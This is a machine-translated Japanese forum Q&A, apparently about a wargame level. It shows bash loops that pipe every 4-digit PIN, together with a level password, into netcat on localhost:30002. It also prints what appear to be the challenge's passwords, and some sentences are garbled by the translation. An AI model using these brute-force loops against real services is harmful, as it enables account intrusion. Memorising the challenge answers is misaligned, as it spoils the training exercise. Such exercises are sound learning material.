シェルスクリプトを使用した4桁のパスワードの無差別代入

シェルスクリプトを使用した4桁のパスワードの無差別代入

いくつかの挑戦をしています。これはそれらの一つです。希望の回答を得るために、4桁のPINを無差別に代入してパスワードを入力しようとしています。ポートに接続した後、パスワード、スペース、4桁のPINを入力するように求められます。次のスクリプトを使用してピンを無差別に代入しようとしました。

 #!/bin/bash 
 nc localhost 30002 
 sleep 2 

 for i in {0000..9999}; 
     if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];                   
     then 
        continue 
     echo '[+] Pincode Cracked! Pincode = $i' 
     fi 
 done

しかし、通過せずにstdinに固定されていないこのような作業を試みる前に - >if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];ここで私が何を間違っているのでしょうか?

修正する:

まあ、ちょっと調べた後。私はこれを書いた:

for i in {0000..9999}
do
    if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
   then
      sleep 0.1
      continue
   fi
   echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done

これはうまくいくかもしれませんが、見てわかるように、ループで新しい接続が開かれるため、非常に遅くなり、システムが消費されます。

答え1

迅速で効果的な答えは次のとおりです。

#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
            echo "$passwd24 $i"
done | nc localhost 30002  | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"

更新された回答が非常に遅いです。誤解を入力しても接続は維持されます。前の答えが示すように、forループの末尾にあるパイプです。正しいピンを本当に知りたい場合は、echo thatの前に行を追加できますecho "the correct pass: $1" > /tmp/correctpin.txt。これは正しいパスワードを取得する目的とは何の関係もありません。

答え2

それはあなたではないからです。言うスクリプトはnc標準入力に何でも書き込みます。スクリプトはnetcatを起動します。終了するまでお待ちくださいsleepループを実行する2秒前ですfor。次の構成が必要な場合があります。

for i in {0000..9999}; do
    : stuff
done | nc localhost 30002

答え3

ループをnetcat接続にパイプし、次のようにファイルに出力を書き込むことができます。

#!/bin/bash
touch f.txt
for i in {0000..9999}
do
    echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
done | nc localhost 30002 > f.txt

cat f.txt | grep -v Wrong

中断してループが完了しない場合は、それぞれ5000回の繰り返しの2つの部分に分けることができます。

#!/bin/bash

for j in {0000..5000}
do
    str1="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $j"
    echo $str1
done | nc localhost 30002 > f.txt

cat f.txt | grep -v Wrong

sleep 5

for i in {5000..9999}
do
    str2="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
    echo $str2
done | nc 127.0.0.1 30002 > f.txt

cat f.txt |grep -v Wrong

答え4

bandit25パスワードを取得するための1行のコード:

for i in {0000..9999}; do echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i"; done | nc localhost 30002 | grep -v "Wrong!"

パスワードとPINの組み合わせはforループを使用して渡され、grep -v不要な出力は印刷されません。

関連情報